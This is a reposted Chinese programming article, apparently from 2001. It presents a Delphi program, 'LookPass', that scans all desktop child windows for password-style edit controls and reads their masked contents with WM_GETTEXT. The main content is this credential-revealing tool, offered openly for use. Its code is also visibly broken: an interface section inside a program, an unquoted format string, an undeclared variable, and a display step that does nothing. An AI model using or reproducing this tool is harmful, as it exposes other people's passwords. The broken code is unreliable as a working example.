程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> Delphi >> *****查看技術

*****查看技術

編輯:Delphi

Windows系統的密碼是很脆弱的,因為所有的密碼輸入的時候都顯示為********
表面上看這很安全,因為一般人不懂*******是什麼東西,但其實要看到*******
下的內容是很容易的事,工作原理如下:
Windows是基於窗口的消息驅動型作業系統,每個窗口都有自已的屬性,其中密碼窗
口的屬性是ES_PASSWORD,所以我們可以利用枚舉子窗口EnumChildWindows的方法
來找出系統中所有子窗口,再檢查其屬性GetWindowLong,若是ES_PASSWORD則是個密碼窗
然後用SendMessage()取得窗口標題,那就是******下的真正內容



=========下面是Delphi程序=====================

program LookPass;

interface

uses
 Windows, Messages, SysUtils;
var
 hcount:integer;

//這是一個窗口響應函數,注意:Result:=true很重要,因為只有這樣才能連續掃描所有子窗口
function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
var hw,hs,wlong:integer;
   sbuf,sb2:array[0..256] of char;
   sb1:string;
begin
   //得到窗口的屬性
   wlong:=GetWindowLong(hwnd,GWL_STYLE);
   //若屬性為es_password則為密碼窗
   if (wlong and ES_PASSWORD)<>0 then
   begin
       inc(hcount);
       //發送獲取窗口標題的消息
       sendmessage(hwnd,wm_gettext,40,integer(@sbuf));
       //設置得到的密碼
       strpcopy(sbuf,format([Password %d] = %s,[hcount,sbuf]));
       //顯示密碼
   end;
   //result為true時繼續掃描下一個子窗口
   result:=true;
end;


begin
    lp:=0;hcount:=0;
    //枚舉子窗口,GetDesktopWindow用來得到桌面的句柄
    EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end.
//////////////////////////////////////////////////////////////////////////////
                             作者:倪建華
                Copyright (C) 2001-6-27 Allright Reserved.

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved